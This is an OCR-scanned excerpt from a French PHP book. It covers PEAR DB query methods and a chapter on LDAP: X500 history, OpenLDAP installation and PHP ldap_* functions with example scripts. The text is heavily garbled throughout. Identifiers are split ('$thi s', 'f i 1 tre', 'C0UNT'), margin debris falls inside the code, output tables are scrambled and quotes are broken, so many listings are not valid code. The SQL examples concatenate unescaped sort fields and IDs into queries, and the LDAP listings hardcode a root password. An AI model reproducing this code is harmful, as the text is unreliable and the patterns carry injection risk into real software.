{ 

$requete = "SELECT * FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 

$thi s->bd->escapeSimpl e($f i 1 tre->getTi tre () ) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId() ; 

} 

if ($tri->getSens() == -1) { 

$triSQL = "ORDER BY ".$tri->getChamp() ." DESC"; 
} else if ($tri->getSens() == 1) { 

$triSQL = "ORDER BY " .$tri ->getChamp() . " ASC"; 

} 

$requete = $requete." WHERE " .$condi tionSQL. " ". 

$triSQL; 

$resultat = $this->bd->limitQuery($requete, 

$plage->getPremierArticle() , 
$plage->getNbArticleMax()) ; 

if (DB: : i s Error ($resul tat) ) { 

echo $resul tat->message; 
return FALSE; 

} 

$articles = NULL; 
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while ($enreg = $resul tat->fetchRow(DB_FETCHMODE_ASSOC) ) { 
$articles[] = $this->enreg2Article($enreg) ; 

} 

return $articles; 



public function getNbTotalArticles(Filtre $filtre) 
{ 

$requete = "SELECT C0UNT(*) FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 

$this->bd->escapeSimple($filtre->getTitre()) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 

} 

$requete = $requete." WHERE ".$conditionSQL; 
$resultat = $this->bd->getOne($requete) ; 
if (DB: : i s Error ($resul tat) ) { 

echo $resul tat->message; 

return FALSE; 

} 

return $resultat; 



public function getTypes() 
{ 

$requete = "SELECT * FROM types"; 
$resultat = $thi s->bd->query ($requete) ; 
if (DB: :isError($resultat)) { 

echo $resul tat->message; 

return FALSE; 

} 

$types = NULL; 

while ($enreg = $resul tat->fetchRow(DB_FETCHMODE_ASSOC) ) { 
$types[$enreg["id"]] = $enreg["type"] ; 

} 

return $types; 



public function getAl bumTypeId() 

{ 

return 1; 
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private function enreg2Arti cl e($enreg) 
{ 

$article = new Article(); 
$article->setld($enreg["id"]) ; 
$article->setAl bumld($enreg["al bumld"] ) ; 
$arti cl e->setTi tre ($enreg [" t i tre"] ) ; 
$articl e->setTypeId($enreg["typeId"] ) ; 
$articl e->setCommentai re($enreg ["commentai re"] ) ; 
return $article; 

} 



En revanche, l'utilisation des methodes pear permettant la manipulation des sequences, si elle 
n'est pas optimale, permet toutefois de s'affranchir des differences entre les serveurs de bases 
de donnees concernant les champs auto-incrementes. 

En savoir plus... 

II est possible de recuperer un certain nombre d'informations sur le serveur de bases de 
donnees (ses bases, ses tables, etc.) grace a la methode getListof ( ) . 



"databases" pour recuperer un tableau indexe des bases disponibles sur 
le serveur. 

"tables" pour recuperer un tableau indexe des tables disponibles dans la 
base a laquelle vous etes connecte. 

"users" pour recuperer la liste des utilisateurs. 

"vi ews " pour recuperer la liste des vues disponibles dans la base a laquelle 
vous etes connecte. 

"functions" pour recuperer la liste des fonctions. 



DB->getListOf() 



Retourne la liste des bases, tables, etc. 



Syntaxe 

$cle 



array getLi stOf (stri ng $cle) 
Mot-cle parmi : 



retour 



Le tableau indexe demande, ou DB_Error en cas d'echec. 



II est egalement possible de tester les fonctionnalites offertes par le serveur de bases de 
donnees ou la facon dont pear les gere. 
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DB->provides() 

Teste la gestion d'une fonctionnalite par pear ou le serveur de bases de donnees. 
Syntaxe string provides (string $fonctionnal ite) 

$fonctionnal ite Fonctionnalite a tester (ex.: "prepare", "pconnect", 
"transactions", "limit", etc.) 

retour Selon les cas : 

TRUE si la fonctionnalite est supportee par le serveur de bases de donnees. 

"alter" si PEAR a besoin de modifier la requete de l'utilisateur pour 
l'utiliser. 

"emulate" si PEAR emule la fonctionnalite. 
FALSE si elle n'est pas supportee par le serveur. 
DB_error en cas d'echec. 
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Les annuaires 

LDAP 



11.1 Le schema LDAP 905 

11.2 Installation 905 

11.3 L'interrogation de LDAP avec PHP 908 

11.4 Exemple d' application 938 



Aux origines du standard LDAP, on retrouve des organisations internationales de 
normalisation. En effet, de grands groupes de telecommunications ainsi que 
l'lnternational Organization for Standardization (ISO), avaient la volonte de normaliser le 
protocole de messagerie. Apres la publication de leurs travaux (la norme X400), ils 
developperent la norme censee interconnecter les annuaires des differents pays. C'est ainsi que 
naquirent les normes X500. 



^fj Protocole LDAP 

LDAP (Lightweight Directory Access Protocol) est un protocole permettant la 
REMARQJE standardisation de Faeces a des donnees provenant d'un annuaire, permettant ainsi 
a differentes applications d'acceder a une source commune. 



Avec cette norme, il etait enfin possible d'interroger, a partir de n'importe quelle application, 
tous les annuaires mondiaux ; ce qui pouvait done, a terme, permettre de creer un vaste 
repertoire mondial. 




Figure 11.1 : Principe d'un annuaire X500 



Une application cliente peut interroger l'annuaire a l'aide du protocole DAP (Directory Access 
Protocol). L'application passe alors par une couche d'abstraction : le DUA (Directory User 
Agent). Celui-ci interroge ensuite l'annuaire et retourne les informations au DUA, qui effectue 
alors le travail inverse en retournant les donnees au client. Ainsi, toutes les applications voulant 
profiter d'un annuaire central devaient simplement developper la couche d'abstraction a l'aide 
d'une API (voir fig. 11.2). 

L'un des interets du protocole X500 est egalement la possibility de placer differents serveurs 
d'annuaires en parallele, les annuaires dialoguant entre eux a l'aide du protocole DSP 
(Directory System Protocol). 

Les normes X500 ont egalement standardise le schema que peut avoir un annuaire. Les 
differentes donnees sont organisees suivant leur appartenance a des classes d'objets, qui 
elles-memes sont definies par differents attributs. Ces attributs peuvent posseder une ou 
plusieurs valeurs. Chaque classe definie par rapport a une classe parente herite de tous les 
attributs de la classe mere dont elle derive. Afin d'eviter certains problemes, la norme a 
egalement adopte la standardisation des annuaires decrivant les personnes, les organisations, etc. 
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Annuaire d'entreprise 




Authentic cation 
Intranet 



Figure 1 1 .2 : Exemple d 'application d'un annuaire au sein d'une entreprise 



La complexite de la mise en ceuvre d'un schema complet rend son utilisation complexe pour 
une petite structure de type PMI ou PME. De plus, le DAP permettant la connexion des clients 
se trouve etre tres complexe a utiliser, car il necessite l'equipement du poste client en materiel 
specifique. En effet, le protocole n'utilise pas TCP/IP, et, de ce fait, il est necessaire d'integrer 
sur les clients une carte reseau de type X25. L'arrivee en force d'Internet pousse done un 
nouveau groupe a se pencher sur la problematique. Ainsi, en se basant sur les normes X500 et 
le support du protocole TCP/IP, est publiee la version 2 de LDAP en 1994, puis la version 3 en 
1997. Vous pouvez retrouver les specifications (en anglais) de cette derniere version dans les 
RFC qui vont de 2251 a 2256 aux adresses allant de http://www.ietf.org/rfc/rfc2251.txt a http://www 
.ietf.org/rfc/rfc2256.txt. (des traductions en frangais sont disponibles au format PDF depuis des 
liens proposes sur http://abcdrfc.free.fr). 

Les avantages de cette norme sont : 

Support du modele de donnees X500 ; 

■ Ouverture sur l'internet par son support TCP/IP ; 

Securisation de l'acces aux donnees par personne ou groupe de personnes ; 

Les requetes sont normalisees permettant ainsi une recherche plus efficace ; 

LDAP permet l'interrogation de plusieurs annuaires de facon transparente pour le client. 

II existe plusieurs annuaires. Des annuaires commerciaux (sites en anglais) : 

eDirectory de Novell (http://www.novell.com/products/edirectory/) ; 

Active Directory de Microsoft 

(http://www.microsoft.com/windows2000/technologies/directory/AD/default.asp) ; 

■ SunOne Directory Server de Sun 
(http://wwws.sun.com/software/products/directory_srvr/home_directory.html) ; 

Oracle (http://www.oracle.com) ; 

IBM Directory Server (http://www-3.ibm.com/software/network/directory/). 



Ainsi que quelques (trop) rares annuaires libres (sites en anglais) 



Installation 



OpenLDAP (http://www.openldap.org) ; 

Apple Open Directory (http://developer.apple.com/darwin/projects/opendirectory/). 



11.1. Le schema LD AP 



Le principe de LDAP est explique a partir de ce schema : 





Figure 1 1 .3 : Vision classique d'un annuaire LDAP 



-o = 



Afin de nommer chaque classe, on utilise un ou plusieurs attributs les definissant. Ainsi, on 
commence par la classe racine qui possede un DN (Distinguished Name) egal a 
dc=universite, dc=fr. Suivent les classes representees par leur RDN (Relative 
Distinguished Name), le DN unique d'une entree etant l'ajout de son RDN au DN de la classe 
mere de l'objet separe par une virgule. Ainsi, l'entree representee par le RDN egal a 
ou=etudiants possede un DN equivalent a ou=etudiants , dc=universite, dc=fr. 

Ainsi, le DN de l'etudiant 1 est : cn=etudiant 1, ou=etudiants, dc=universite, dc=fr. 

Le DN du professeur 2 est: cn=prof 2, ou=Professeurs, dc=universite, dc=fr. 

Nous n'avons pas la pretention dans cet ouvrage de vous faire connaitre sur le bout des doigts 
le protocole LDAP et son utilisation. Internet regorge de liens qui devraient pouvoir vous etre 
utiles dans votre apprentissage des annuaires. Vous pouvez toujours commencer par visiter le 
site web du CRU (Comite Reseau des Universites), qui possede une page tres interessante avec 
de nombreux liens et de documents : http://www.cru.fr/ldap/. 



Nous nous contenterons ici de decrire une installation standard sans tenir compte des 
problemes d'optimisation et de securite. Le but est que vous puissiez installer PHP et LDAP sur 
des machines de test, pour vous familiariser avec cet environnement avant de passer a un 
serveur d'annuaire destine a la production. Pour des raisons de cout evidentes, nous avons opte 
pour un serveur OpenLDAP. 



L'installation du serveur LDAP est facilitee par sa mise a disposition sur certaines distributions 
Linux. Malgre tout, pour ceux qui desirent compiler le serveur pour leur plateforme (par 



11.2. Installation 



Installation du serveur OpenLDAP 
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exemple pour ceux qui utilisent un environnement Windows avec Cygwin installe), nous allons 
rapidement decrire son installation standard. 

Installation 

Vous devez, avant toute chose, recuperer l'archive qui se trouve sur le site d'OpenLDAP a 
l'adresse http://www.openldap.org/soflware/download/ (nous mettons a votre disposition la ver- 
sion 2.1.3 sur le CD-ROM d'accompagnement de ce livre). 

Dans un premier temps, decompactez l'archive a l'aide de la commande suivante : 

$ tar zxvf openldap-2.1.3.tgz 
$ cd openldap-2.1.3 

Passez ensuite a la configuration, puis a la compilation. 

$ ./configure 
$ make depend 
$ make 

Passez en mode administrateur en tapant la commande su - et en entrant votre mot de passe 

root. 

# make install 

Configuration 

Ouvrez ensuite votre editeur fetiche, et editez le fichier /usr/local/etc/openldap/slapd.conf. 
Modifiez les parametres suffix, rootdn et rootpw de la facon suivante : 

# Indiquez ici la racine correspondent a votre domaine 
suffix "dc=ldap, dc=tild, dc=com" 

# Indiquez ici le DN de 1 1 admi ni strateur de l'annuaire 
rootdn "cn=root, dc=ldap, dc=tild, dc=com" 

# Indiquez ensuite le mot de passe de 1 'administrateur 
rootpw coucou 

Dans notre cas, le domaine specifie est ldap.tild.com (ces parametres doivent indiquer le 
nom de votre domaine). 

Verifiez que le repertoire specifie par le parametre directory existe bien. 
Lancez le serveur LDAP avec la commande : 

/usr/local /l ibexec/slapd 

Vous pouvez verifier que le serveur est bien lance en executant la commande suivante : 

Idapsearch -xs base 1 (objectcl ass=*) ' namingContexts 

La commande doit vous retourner un resultat similaire a celui-ci : 

# 



Installation 



# filter: (objectclass=*) 

# requesting: namingContexts 

# 

# ldap,dc=tild,dc=com 

dn: dc=ldap,dc=tild,dc=coin 

# search result 
search: 2 
result: Success 

# numResponses: 2 

# numEntries: 1 

II faut ensuite creer le schema racine de l'annuaire. Pour cela, vous allez creer un fichier texte 
au format LDIF. Ouvrez votre editeur (toujours le meme, ou changez si vous voulez...) et 
entrez les lignes suivantes : 

dn: dc=ldap,dc=tild,dc=com 
objectclass: dcObject 
objectclass: organization 
o: Tild 
dc: tild 

dn : cn=root,dc=l dap,dc=ti 1 d,dc=com 
objectcl ass : organizational Rol e 
cn: root 

Enregistrez-le sous monpremierschema.ldif par exemple, et appelez la commande suivante : 

ldapadd -x -D " cn=root,dc=ldap,dc=tild,dc=com" -W -f monpremierschema.ldif 

Voila, votre annuaire est pret a recevoir de nouvelles entrees. Maintenant, nous n'allons pas 
continuer a les ajouter avec le client ldapadd : preferons (c'est un peu le sujet de ce livre) 
utiliser le langage PHP. Mais avant toute chose, installons le module LDAP. 



Installation du module LDAP pour PHP 

Installation sous Windows 
Avec l'archive du PHP Group 

Vous devez, dans un premier temps, vous assurer de posseder un fichier phpjdap.dll (fourni 
avec l'archive du PHP Group) dans le repertoire contenant vos extensions PHP. II vous suffit 
ensuite de modifier le fichier php.ini pour ajouter ou decommenter une ligne. 

extension=php_ldap.dl 1 
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Avec EasyPHP 

reinstallation d'EasyPHP possede, par defaut, le module de connexion a LDAP. 

Installation sous Linux 

Pour installer le module LDAP, vous devez posseder les librairies installees sur votre machine. 
Si vous avez suivi l'installation du serveur LDAP de notre premiere partie, vous les possedez 
certainement. 

Ensuite, recompilez PHP avec l'option suivante : -with-ldap. 

Vous pouvez verifier la bonne installation du module en creant une page qui ne contient que le 
code suivant : 



= Q_ 
= < 

CO —I 
CD 



<?php 



phpinfo() ; 



?> 



Lancez un navigateur et appelez la page. Vous devez apercevoir les lignes suivantes : 



Idap 



LDAP Support 


enabled 


RCS Version 


$ld:ldap.c,v 1.116.2.1 2002/04j23 18:59:57 derick Exp $ 


Total Links 


□Am limited 


API Version 


2004 


Vendor Name 


OpenLDAP 


Vendor Version 


20021 



Figure 11 .4 : La fonction phpinfo ( ) vous renseigne sur les modules qui sont installes. 
Verifiez que la section LDAP existe. 

11.3. L'interrogation de LDAP avec PHP 

L'utilisation simple de PHP pour interroger un annuaire LDAP s'opere selon le schema 
suivant : 

Connexion a un serveur LDAP ; 
Identification sur serveur ; 

■ Operations sur la base LDAP ; 

■ Fermeture de la connexion avec le serveur LDAP. 



Connexion, authentification et deconnexion sur le serveur LDAP 



Connexion sur l'annuaire 

Pour vous connecter au serveur LDAP, vous devrez utiliser la fonction ldap_connect ( ) . 
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ldap_connect() 

Etablit une connexion entre le client (PHP) et 1'annuaire LDAP. 



Syntaxe resource 1 dap_connect ( [stri ng $annuaire [, int $port]]) 

$serveur Adresse de 1'annuaire LDAP. Par defaut, la connexion s'effectue sur le 

serveur local. 

$port Port sur lequel on doit se connecter. Par defaut, le port est le 389. 

retour Identifiant de la connexion a 1'annuaire. 



Gerer I'erreur de connexion 

Lorsque le serveur n'existe pas ou que la connexion n'a pas ete effectuee, Vinstruction 
ldap_connect ( ) ne retourne pas d'erreur. Pour gerer les erreurs de liaison avec 
1'annuaire, vous devez, au prealable, executer la fonction ldap_bind( ). 

Authentification sur un annuaire 

L'instruction ldap_bind ( ) vous permettra de vous identifier aupres du serveur LDAP. 

ldap_bind() 

Effectue une liaison entre 1'annuaire et le client LDAP (PHP dans notre cas). 

Syntaxe boolean ldap_bind (resource $idLdap [, string $dnUti 1 i sateur [, 

string $motDePasse] ] ) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$dnUti 1 i sateur DN (Distinguished Name) de l'utilisateur qui demande la connexion. Ce 
parametre est optionnel ; si vous ne le precisez pas, la connexion 
s'effectuera en mode anonyme. 

$motDePasse Mot de passe de l'utilisateur demandant la connexion. Ce parametre est 

optionnel. 

retour TRUE si la liaison avec 1'annuaire a ete effectuee, FALSE dans le cas 

contraire. 

Deconnexion de 1'annuaire 

La deconnexion de 1'annuaire s'effectue avec la fonction ldap^unbind ( ) ou son alias 

ldap_close ( ) . 
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ldap_close() 

Se deconnecte du serveur LDAP. 

Syntaxe boolean 1 dap_unbi nd (resource $i dLdap) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

retour TRUE si la connexion a bien ete fermee, FALSE dans le cas contraire. 

Changer le DNde la connexion LDAP 

Ne confondez pas ldap_unbind ( ) avec une fonction qui pourrait permettre de 
changer Vutilisateur connecte a Vannuaire. Malgre son nom, Vinstruction 
ldap_unbind ( ) ferme la connexion, et vous devrez alors executer une nouvelle fois 
la fonction ldap_connect ( ) . Pour changer d'utilisateur, appelez simplement de 
nouveau ldap_bind ( ) avec un nouveau DN. 

Operations sur un annuaire LDAP 

Vous pouvez effectuer quatre operations standard sur les entrees d'un serveur LDAP : 

■ Ajouter une entree ; 
Modifier une entree ; 
Supprimer une entree ; 
Renommer une entree. 

Ajouter une entree 

L'ajout d'une entree dans l'annuaire s'effectue avec l'instruction ldap_add ( ) . 



00 
05 



0_ 



A 



ATTENTION 



00 
CD 



ldap_add() 

Ajoute une entree dans un annuaire. 

Syntaxe boolean 1 dap_add (resource $idLdap, string $dn, array 

$attri buts) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$dn DN de l'entree a ajouter. 

$attri buts Tableau associatif contenant les differents attributs de l'objet a ajouter. 

retour TRUE si l'objet a bien ete ajoute, FALSE dans le cas contraire. 



910 



L'interrogation de LDAP avec PHP 



Pour ajouter une entree, vous devez creer un tableau associatif contenant tous les attributs a 
ajouter en cles ainsi que les valeurs de ces attributs. Si un attribut peut contenir plusieurs 
valeurs, celles-ci sont alors rentrees dans un nouveau tableau. 

<?php 

$attributs['attn'butr] = valeurl; 
$attributs['attribut2'] = valeur2; 
// Attribut contenant plusieurs valeurs 
$attributs['attribut3'] [0] = valeur3; 
$attributs['attribut3'] [1] = valeur4; 
?> 



Voici un exemple d'ajout dans l'annuaire avec un script PHP. _^ 

Listing 11.1 : ldap_add.php « 

-a = 



<?php 

// Connexion a l'annuaire 

$idLdap = ldap_connect("localhost",389) ; 

$rootDn = 'cn=root,dc=ldap,dc=tild,dc=com' ; 
$rootPasse = 'coucou 1 ; 

if (!ldap_bind($idLdap, $rootDn, $rootPasse) ) { 
die("La connexion n'a pas ete effectuee. ") ; 

} 

// On construit le tableau avec les differents attributs 
$attributs[V] = 'Tild 1 ; 

$attributs['givenname'] = 'Laurent 1 ; 
$attributs[' street'] = '5 rue Nominoe'; 

$attributs['sn'] = ' GUEDON ' 

$attributs['l '] = ' RENNES ' 

$attributs['objectclass'] = 'person' 
$attributs['mail '] [0] = 'tendencies@free.fr 1 ; 
$attributs['mail '] [1] = 'laurent@tild.com'; 
$attributs['cn'] = 'lolo'; 

// DN de 1 'entree a ajouter 
$dn = 'cn=lolo,dc=ldap,dc=tild,dc=com' ; 

if (@ldap_add($idLdap, $dn, $attributs)) 

{ 

echo "L' entree a ete ajoutee !"; 
}else{ 

echo "Probleme, 1 'entree n'a pas ete ajoutee !"; 

} 

// Disconnexion de l'annuaire 
ldap_close($idLdap) ; 

?> 



CD 

CO 
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Modifier une entree 

Modifier les attribute d'une entree 

Pour la modification des entrees, nous utiliserons la fonction ldap_mod_replace ( ) ou son 

alias ldap_modify ( ) . 



ldap_mod_replace () 

Modifie une entree de l'annuaire LDAP. Cette fonction peut affecter plusieurs attributs a la fois. 

CO 

.± Syntaxe boolean 1 dap_mod_repl ace(resource JidLdap, string $dn, array 

= $attributs) 

c5 p $idLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$dn DN de l'entree a modifier. 

$attri buts Tableau associatif contenant les differents attributs de l'objet qui doivent 

etre modifies. 

retour TRUE si l'entree a bien ete modifiee dans l'annuaire, FALSE dans le cas 

contraire. 

La creation du tableau Sentree est identique a celle de ldap_add ( ) . Vous devez specifier dans 
le tableau les differents attributs qui doivent etre modifies. 

Modification d'un attribut a valeur multiple 

Attention awe attributs contenant plusieurs valeurs. Si vous ne modifiez qu'une seule 
REM ARQ JE ^ e ces va i eurs> a [ rs V attribut supprimera les autres en conservant la valeur modifiee. 
Prenons un exemple et imaginons l'entree multiple suivante : 
<?php 

$attri buts ['mail '] [0] = "webmaster@tild.com"; 
$attri buts ['mail '] [1] = "info@tild.com"; 
$attri buts ['mail '] [2] = "contact@tild.com"; 

?> 

Si vous pensez remplacer "contact@tild.com" par "laurent@tild.com", et done que 
vous modifiez l'entree de cette f aeon : 

<?php 

$attri buts ['mail '] [2] = "laurent@tild.com"; 

1 dap_mod_repl ace($idLdap, "cn=lol o,dc=l dap,dc=ti ld,dc=com" , $attri buts) ; 

?> 

vous supprimez alors les autres valeurs de I'attribut multiple mail, et ne retrouvez que 
la valeur "laurent@tild.com". Vous pouvez le verifier en rentrant la commande sur 
votre console : 
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$ ldapsearch -x -b 'dc=ldap,dc=tild,dc=com' 1 (objectcl ass=*) ' 

Ajouter des attributs a une entree 

L'instruction ldap_mod_add ( ) permet d'ajouter un attribut a une entree deja existante. 



ldap_mod_add() 

Ajoute un attribut a une entree de l'annuaire LDAP. 

Syntaxe boolean 1 dap_mod_add (resource $idLdap, string $dn, array 

$attri buts) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$dn DN de l'entree devant contenir les attributs a ajouter. 

$attributs Tableau associatif contenant les differents attributs a ajouter ainsi que 

leurs valeurs. Si un attribut est deja existant, la fonction lui ajoute une 
nouvelle valeur. II est possible de specifier l'ajout d'un attribut a valeur 
multiple de la meme facon que l'instruction ldap_add ( ) . 

retour TRUE si les attributs ont bien ete ajoutes, FALSE dans le cas contraire. 

<?php 

// Voici le tableau contenant les attributs a ajouter 

$attributs['description'] = 'Un des auteurs de la bible du PHP 1 ; 

// Si l'entree existe, alors "tendencies@free.fr" sera 

// ajoute comme une nouvelle valeur de 1 'attribut mail 

$attri buts ['mail '] = 'tendencies@free.fr 1 ; 

ldap_mod_add($i dLdap, $baseDn, $attributs); 

?> 



CO 
I— CO 

-o = 
e 

- r" 
CS 

CO 



Supprimer les attributs d'une entree 

II est aussi possible de supprimer l'attribut d'une entree existante. Pour cela, nous ferons appel 
a la fonction ldap_mod_del ( ) . 



ldap_mod_del() 

Supprime un attribut d'une entree de l'annuaire LDAP. 

Syntaxe boolean 1 dap_mod_del (resource $idLdap, string $dn, array 

$attri buts) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 
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$dn DN de l'entree contenant les attributs a supprimer. 

$attri buts Tableau associatif contenant les differents attributs a supprimer. Les 

valeurs de chaque attribut doivent etre indiquees. Cela permet de 
supprimer simplement une seule valeur lorsque l'attribut en possede 
plusieurs. Tous les attributs doivent exister ; dans le cas contraire, 
l'instruction retourne une erreur et n'en supprimera aucune. 

retour TRUE si la ou les attributs designes ont bien ete supprimes, FALSE dans le 

cas contraire. 

// Voici le tableau contenant les attributs a supprimer 
$entree['description'] = 1 Un des auteurs de la bible PHP 1 ; 
$entree[ 'mai 1 '] = 'tendencies@free.fr'; 



oj $dn = ' cn=l olo,dc=kangouroo,dc=homel i nux,dc=org ' ; 

'5 

= a. if (1 dap_mod_del ($idLdap, $dn, $entree)) 

5 o { 

S — 1 echo "Les attributs ont ete supprimes !"; 

"! }else{ 

^ echo "Probleme, les attributs n'ont pas ete supprimes !"; 

} 



Supprimer une entree de l'annuaire 

La suppression d'une entree est realisee par l'appel a la fonction ldap_deiete ( ) . 



ldap_delete() 

Supprime une entree d'un annuaire LDAP. 

Syntaxe boolean 1 dap_del ete(resource $idLdap, string $dn) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$dn Le DN (Distinguished Name) de l'entree a supprimer. 

retour TRUE si l'operation de suppression a ete executee avec succes, FALSE dans 

le cas contraire. 

Vous ne pouvez pas supprimer une entree qui n'est pas vide. Pour effectuer cette operation, 
vous devez, dans un premier temps, supprimer toutes les entrees existantes dans l'entree pere. 
Nous effectuerons cette operation a l'aide d'une fonction recursive. 

Listing 11.2 : ldap_delete.inc.php 

<?php 

I** 

* Fonction de suppression des entrees recursives ou non 

* Gh'nput $dn string le DN de 1 'element a supprimer 
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* $recursive boolean Indique si la fonction 

* doit suppprimer recursivement 

* @return boolean reussite ou echec de 1 'operation 

7 

function supprimerEntree($idLdap, $dn, $recursive=FALSE) 

{ 

if ($recursive) { 

// On recupere les entrees fils 

$reponse = 1 dap_l i st ($i dLdap, $dn, "ObjectClass=*") ; 
$entree = ldap_get_entries($idl_dap, $reponse); 
for($i=0;$i<$entree['count'] ;$i++) { 

// On supprime les entrees trouvees en appellant 

// la fonction supprimerEntree 

if (!supprimerEntree($idLdap, $entree[$i] [ ' dn ' ] , TRUE)) 
{ 

return FALSE; 

} 

} 

} 

// On supprime 1 'entree courante 
if (ldap_delete($idl_dap, $dn)) { 

return TRUE; 
} else { 

return FALSE; 

} 

} 

?> 

A present, venons-en a l'utilisation de cette fonction : 
Listing 11.3 : Idap delete.php 

<?php 

include("ldap_delete.inc.php ") ; 

// Connexion a l'annuaire 

$idLdap = ldap_connect("localhost",389) ; 

$rootDn = 'cn=root,dc=ldap,dc=tild,dc=com' ; 
$rootPasse = ' coucou ' ; 

if (!ldap_bind($idLdap, $rootDn, $rootPasse) ) { 
die("La connexion n'a pas ete effectuee. ") ; 

} 

// DN de 1 'entree a creer et ensuite a supprimer 
$baseDn = 'o=test,dc=ldap,dc=tild,dc=com' ; 

// Creation d'une entree "organisation" 
$groupe['objectclass'] [0] = 'organization'; 
$groupe['objectclass'] [1] = 'top'; 
$groupe['o'] = 'test '.$i; 

ldap_add($idLdap, $baseDn, $groupe) ; 
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// creation des membres dans le groupe 
for ($i=0;$i<10;$i++) 

{ 

$entree['objectclass'] [0] = 'top'; 
$entree['objectclass'] [1] = 'person'; 
$entree['cn'] = 'personne' .$i ; 

echo 'On ajoute 1 \ ' uti 1 i sateur personne' .$i . ' dans 1 \ ' annuai re<br />'; 
ldap_add($idLdap, ' cn=personne' .$i . " , " .$baseDn, $entree) ; 

} 



// Recherche et affichage des entrees dans le groupe 
M $reponse = ldap_l i st ($i dLdap, $baseDn, "ObjectCl ass=*") ; 

S $resultat = ldap_get_entries($idLdap, $reponse); 

g echo "II y a ". $resultat[' count '] ." entrees dans le groupe<br />"; 

= ^ for($i=0;$i<$resultat['count'] ;$i++) { 

w g echo "*".$resultat[$i] ['dn'] . "<br />"; 

echo "Suppression de 1 'entree recursi vement<br />"; 
if (supprimerEntree($idl_dap, $baseDn, TRUE)) 

{ 

echo "L' entree a ete supprimee !<br />"; 
}else{ 

echo "Probleme, 1 'entree n'a pas ete supprimee !<br />"; 

} 



// On verifie le resultat de la suppression 

$reponse = ldap_list($idLdap, "dc=ldap,dc=tild,dc=com", 

"&((o=test)(ObjectClass=*))"); 
$resultat = ldap_get_entries($idLdap, $reponse); 
if ($resultat['count']==0) 
{ 

echo "II n'y a aucune entree dn=o=test<br />"; 

} 

// Deconnexion de 1' annuai re 
ldap_close($idl_dap) ; 

?> 



Et voici maintenant le resultat de l'execution de notre script 



On ajoute 
On ajoute 
On ajoute 
On ajoute 
On ajoute 
On ajoute 
On ajoute 
On ajoute 
On ajoute 
On ajoute 
II y a 10 



' uti li sateur 
' uti li sateur 



'util 
'util 
'util 



sateur 
sateur 
sateur 
' uti li sateur 
' uti li sateur 
' uti li sateur 
1 uti li sateur 
' uti li sateur 
entrees dans 



personneO 
personnel 
personne2 
personne3 
personne4 
personne5 
personne6 
personne7 
personne8 
personne9 
le groupe 



dans 
dans 
dans 
dans 
dans 
dans 
dans 
dans 
dans 
dans 



1 'annuai re 
1 'annuai re 
1 'annuai re 
1 'annuai re 
1 'annuai re 
1 'annuai re 
1 'annuai re 
1 'annuai re 
1 'annuai re 
1 'annuai re 
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*cn=personneO,o=test,dc=ldap,dc=ti ld,dc=com 
*cn=personnel,o=test,dc=ldap,dc=ti ld,dc=com 
*cn=personne2,o=test,dc=ldap,dc=ti ld,dc=com 
*cn=personne3,o=test,dc=ldap,dc=ti ld,dc=com 
*cn=personne4,o=test,dc=ldap,dc=ti ld,dc=com 
*cn=personne5,o=test,dc=ldap,dc=ti ld,dc=com 
*cn=personne6,o=test,dc=ldap,dc=ti ld,dc=com 
*cn=personne7,o=test,dc=ldap,dc=ti ld,dc=com 
*cn=personne8,o=test,dc=ldap,dc=ti ld,dc=com 
*cn=personne9,o=test,dc=ldap,dc=ti ld,dc=com 
Suppression de 1 'entree recursi vement 
L 1 entree a ete supprimee ! 

II n'y a aucune entree dn=o=test _^ 

CD 

Renommer une entree 5 " 

S> = 

Pour renommer, copier ou deplacer une entree, nous utiliserons la fonction ldap_rename ( ) . ~° c 

n 

- r" 
CD 

v> 



ldap_rename() 



Renomme, copie ou deplace une entree dans l'arbre LDAP. 

Syntaxe boolean 1 dap_rename(i nt $idLdap, string $dn, string 

$nouveauRdn , string $nouvel leBaseDn, boolean $supprimer) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$dn Le DN (Distinguished Name) de l'entree a supprimer. 

$nouveauRdn Nouveau RDN (Relative Distinguished Name) de l'entree. 

$nouvel 1 eBaseDn Nouvelle base DN parente pour l'entree. 

$supprimer Indique s'il faut conserver l'ancienne entree ou non. 

retour TRUE si l'entree a bien ete deplacee, FALSE dans le cas contraire. 

La version du protocole v2 ne supporte pas cette fonction de PHP. II faut necessairement 
indiquer que nous utilisons la version 3 de LDAP pour utiliser idap_rename ( ) . Pour cela, 
utilisez l'instruction ldap_set_option ( ) decrite plus loin. 

Listing 11.4 : Idap rename.php 

<?php 

$i dLdap = ldap_connect("localhost",389) ; 

//On passe en protocole v3 seul capable de supporter la copie 
ldap_set_option($idLdap, LDAP_0PT_PR0T0C0L_VERSI0N, 3); 

// N'oubliez pas de modifier ces parametres selon 
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// votre configuration 

$rootDn = 'cn=root, dc=tild'; 

$rootPasse = 'coucou'; 

if (!ldap_bind($idLdap, $rootDn, $rootPasse)) { 
die("La connexion n'a pas ete ef fectuee. ") ; 

} 

// DN de 1 'entree a copier 

$dn = 1 o=test,ou=test,dc=ti 1 d 1 ; 

// nouveau DN 

$rdn = 1 o=test2 1 ; 

// nouvelle base 

$baseDn = 1 ou=test , dc=ti 1 d 1 ; 

// On deplace 1 'entree. 

